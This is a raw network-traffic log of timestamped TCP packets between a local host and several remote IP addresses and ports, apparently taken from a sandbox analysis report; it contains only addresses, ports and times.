Dec 11, 2022 09:25:59.924249887 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:25:59.952450991 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:25:59.966989994 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:25:59.996634960 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:25:59.996740103 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:25:59.997065067 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:00.015872002 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:00.086517096 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:00.099786997 CET	49721	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.144167900 CET	9030	49721	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.144331932 CET	49721	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.144615889 CET	49721	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.190534115 CET	9030	49721	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.192723989 CET	9030	49721	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.193161011 CET	49721	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.193409920 CET	9030	49721	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.194040060 CET	9030	49721	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.194075108 CET	49721	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.195059061 CET	49721	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.218431950 CET	49721	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.238704920 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:00.262290001 CET	9030	49721	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.266716003 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:00.267523050 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:00.305329084 CET	49722	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.320852995 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:00.350220919 CET	9030	49722	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.350420952 CET	49722	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.351145983 CET	49722	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.396811962 CET	9030	49722	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.401354074 CET	9030	49722	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.401832104 CET	9030	49722	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.402333975 CET	49722	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.402767897 CET	9030	49722	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.403569937 CET	9030	49722	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.404532909 CET	9030	49722	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.404970884 CET	49722	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.405256033 CET	9030	49722	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.405386925 CET	49722	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.430547953 CET	49722	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.463594913 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:00.473733902 CET	9030	49722	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.534590006 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:00.623178005 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:00.665055990 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:00.668075085 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:00.695998907 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:00.714317083 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:00.758470058 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:00.759699106 CET	49723	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.803654909 CET	9030	49723	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.803759098 CET	49723	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.804162979 CET	49723	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.848754883 CET	9030	49723	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.850263119 CET	9030	49723	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.850338936 CET	49723	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.850861073 CET	9030	49723	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.850935936 CET	49723	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.851512909 CET	9030	49723	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.851695061 CET	49723	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.884506941 CET	49723	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.902293921 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:00.926851988 CET	9030	49723	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:00.931267023 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:00.965806007 CET	49724	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:00.977165937 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:01.008985043 CET	9030	49724	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:01.009099960 CET	49724	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:01.009470940 CET	49724	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:01.059344053 CET	9030	49724	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:01.062529087 CET	9030	49724	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:01.063270092 CET	9030	49724	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:01.063363075 CET	49724	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:01.064394951 CET	9030	49724	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:01.064452887 CET	49724	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:01.089257956 CET	49724	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:01.105298042 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:01.131866932 CET	9030	49724	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:01.174606085 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:01.210542917 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:01.242394924 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:01.270279884 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:01.334136009 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:01.344769001 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:01.414704084 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:01.449640989 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:01.492875099 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:01.524183035 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:01.535871983 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:01.546514034 CET	49725	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:01.590164900 CET	9030	49725	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:01.590451956 CET	49725	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:01.590738058 CET	49725	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:01.618818998 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:01.635005951 CET	9030	49725	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:01.636632919 CET	9030	49725	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:01.636859894 CET	49725	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:01.637325048 CET	9030	49725	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:01.637454033 CET	49725	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:01.637972116 CET	9030	49725	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:01.638086081 CET	49725	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:01.686779022 CET	49725	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:01.720371962 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:01.729106903 CET	9030	49725	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:01.749356031 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:01.789833069 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:01.815803051 CET	49726	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:01.860085964 CET	9030	49726	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:01.860397100 CET	49726	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:01.861066103 CET	49726	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:01.904773951 CET	9030	49726	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:01.906713009 CET	9030	49726	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:01.906909943 CET	49726	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:01.907701015 CET	9030	49726	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:01.908149958 CET	9030	49726	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:01.908257961 CET	49726	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:01.908257961 CET	49726	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:01.942907095 CET	49726	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:01.974818945 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:01.985294104 CET	9030	49726	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:02.046555996 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:02.046911001 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:02.074896097 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:02.143399954 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:02.165890932 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:02.234790087 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:02.234854937 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:02.253808022 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:02.262909889 CET	49727	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:02.308276892 CET	9030	49727	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:02.308459044 CET	49727	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:02.308775902 CET	49727	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:02.334619045 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:02.352802992 CET	9030	49727	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:02.354506016 CET	9030	49727	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:02.354671001 CET	49727	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:02.355377913 CET	9030	49727	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:02.355472088 CET	49727	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:02.355592012 CET	9030	49727	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:02.355663061 CET	49727	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:02.382052898 CET	49727	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:02.400784969 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:02.424309015 CET	9030	49727	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:02.429534912 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:02.467341900 CET	49728	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:02.478240013 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:02.511348009 CET	9030	49728	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:02.512849092 CET	49728	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:02.513144970 CET	49728	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:02.557476044 CET	9030	49728	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:02.559385061 CET	9030	49728	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:02.560026884 CET	9030	49728	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:02.560199022 CET	49728	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:02.560199022 CET	49728	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:02.560476065 CET	9030	49728	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:02.564768076 CET	49728	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:02.585359097 CET	49728	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:02.602010965 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:02.627934933 CET	9030	49728	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:02.670543909 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:22.679120064 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:22.695369959 CET	49729	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:22.707110882 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:22.739453077 CET	9030	49729	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:22.739620924 CET	49729	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:22.776928902 CET	49729	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:22.820760012 CET	9030	49729	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:27.584422112 CET	9030	49729	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:27.584667921 CET	9030	49729	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:27.584834099 CET	49729	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:27.585344076 CET	9030	49729	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:27.590035915 CET	49729	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:27.616682053 CET	49729	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:27.675523043 CET	9030	49729	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:27.679702044 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:27.707665920 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:27.708275080 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:27.747030020 CET	49730	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:27.760664940 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:27.791420937 CET	9030	49730	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:27.795145035 CET	49730	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:27.795428038 CET	49730	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:27.840125084 CET	9030	49730	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:27.841953993 CET	9030	49730	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:27.842035055 CET	49730	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:27.843314886 CET	9030	49730	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:27.843390942 CET	49730	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:27.843736887 CET	9030	49730	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:27.843792915 CET	49730	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:27.844708920 CET	9030	49730	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:27.844774008 CET	49730	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:27.864475965 CET	49730	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:27.894418955 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:27.907270908 CET	9030	49730	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:27.962471008 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:28.190279007 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:28.241336107 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:28.269371033 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:28.313354015 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:28.328886032 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:28.357079029 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:28.402507067 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:28.410573006 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:28.417300940 CET	49731	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:28.438735962 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:28.461004972 CET	9030	49731	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:28.461253881 CET	49731	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:28.461570978 CET	49731	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:28.505938053 CET	9030	49731	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:28.507791042 CET	9030	49731	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:28.507916927 CET	49731	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:28.509443998 CET	9030	49731	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:28.509485960 CET	9030	49731	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:28.509566069 CET	49731	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:28.509604931 CET	49731	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:28.540961981 CET	49731	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:28.568665981 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:28.583844900 CET	9030	49731	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:28.596996069 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:28.602564096 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:28.634013891 CET	49732	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:28.651369095 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:28.698563099 CET	9030	49732	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:28.698687077 CET	49732	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:28.699011087 CET	49732	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:28.746840000 CET	9030	49732	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:28.747880936 CET	9030	49732	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:28.747977018 CET	49732	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:28.748817921 CET	9030	49732	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:28.748903990 CET	49732	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:28.749464989 CET	9030	49732	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:28.749541044 CET	49732	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:28.771163940 CET	49732	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:28.802815914 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:28.814337015 CET	9030	49732	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:28.874531984 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:28.995676041 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:29.033886909 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:29.062020063 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:29.089977026 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:29.097507954 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:29.152585983 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:29.159320116 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:29.165361881 CET	49733	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:29.211180925 CET	9030	49733	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:29.211301088 CET	49733	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:29.211570024 CET	49733	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:29.230861902 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:29.256851912 CET	9030	49733	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:29.258572102 CET	9030	49733	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:29.258666992 CET	49733	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:29.259649992 CET	9030	49733	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:29.259740114 CET	49733	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:29.260068893 CET	9030	49733	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:29.260144949 CET	49733	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:29.293972015 CET	49733	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:29.309192896 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:29.337081909 CET	9030	49733	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:29.337304115 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:29.338038921 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:29.368526936 CET	49734	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:29.385802984 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:29.412691116 CET	9030	49734	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:29.412801981 CET	49734	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:29.413095951 CET	49734	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:29.457276106 CET	9030	49734	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:29.458827019 CET	9030	49734	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:29.480715990 CET	9030	49734	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:29.481450081 CET	9030	49734	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:29.481534004 CET	49734	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:29.481848955 CET	9030	49734	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:29.482024908 CET	9030	49734	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:29.482147932 CET	49734	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:29.511583090 CET	49734	9030	192.168.2.3	77.7.81.140
Dec 11, 2022 09:26:29.531678915 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:29.553961992 CET	9030	49734	77.7.81.140	192.168.2.3
Dec 11, 2022 09:26:29.602358103 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:30.521630049 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:30.560935974 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:30.589221001 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:30.749032974 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:30.775876999 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:30.808743954 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:30.967780113 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:31.011136055 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:31.125808001 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:31.137582064 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:31.165414095 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:31.276369095 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:31.305025101 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:31.305079937 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:26:31.305272102 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:31.305272102 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:26:31.426821947 CET	49735	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:26:31.594013929 CET	4039	49735	34.171.171.32	192.168.2.3
Dec 11, 2022 09:26:31.594197035 CET	49735	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:26:31.594938040 CET	49735	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:26:31.761097908 CET	4039	49735	34.171.171.32	192.168.2.3
Dec 11, 2022 09:26:31.761499882 CET	4039	49735	34.171.171.32	192.168.2.3
Dec 11, 2022 09:26:31.761641026 CET	49735	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:26:31.761868954 CET	49735	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:26:31.788599968 CET	49736	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:26:31.927918911 CET	4039	49735	34.171.171.32	192.168.2.3
Dec 11, 2022 09:26:31.955672026 CET	4039	49736	34.171.171.32	192.168.2.3
Dec 11, 2022 09:26:31.956302881 CET	49736	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:26:31.957005978 CET	49736	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:26:32.123203993 CET	4039	49736	34.171.171.32	192.168.2.3
Dec 11, 2022 09:26:32.127701998 CET	4039	49736	34.171.171.32	192.168.2.3
Dec 11, 2022 09:26:32.127875090 CET	49736	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:26:32.128303051 CET	49736	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:26:32.157151937 CET	49737	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:26:32.157231092 CET	443	49737	64.185.227.156	192.168.2.3
Dec 11, 2022 09:26:32.157322884 CET	49737	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:26:32.158081055 CET	49737	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:26:32.158117056 CET	443	49737	64.185.227.156	192.168.2.3
Dec 11, 2022 09:26:32.294475079 CET	4039	49736	34.171.171.32	192.168.2.3
Dec 11, 2022 09:26:39.772620916 CET	443	49737	64.185.227.156	192.168.2.3
Dec 11, 2022 09:26:39.772910118 CET	49737	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:26:39.777770996 CET	49737	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:26:39.777812958 CET	443	49737	64.185.227.156	192.168.2.3
Dec 11, 2022 09:26:39.778510094 CET	443	49737	64.185.227.156	192.168.2.3
Dec 11, 2022 09:26:39.790801048 CET	49737	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:26:39.790863991 CET	443	49737	64.185.227.156	192.168.2.3
Dec 11, 2022 09:26:40.091308117 CET	443	49737	64.185.227.156	192.168.2.3
Dec 11, 2022 09:26:40.091479063 CET	443	49737	64.185.227.156	192.168.2.3
Dec 11, 2022 09:26:40.091582060 CET	49737	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:26:40.112581968 CET	49737	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:26:40.112632990 CET	443	49737	64.185.227.156	192.168.2.3
Dec 11, 2022 09:26:40.118160963 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.146492958 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.146667004 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.147089958 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.175998926 CET	80	49738	193.23.244.244	192.168.2.3
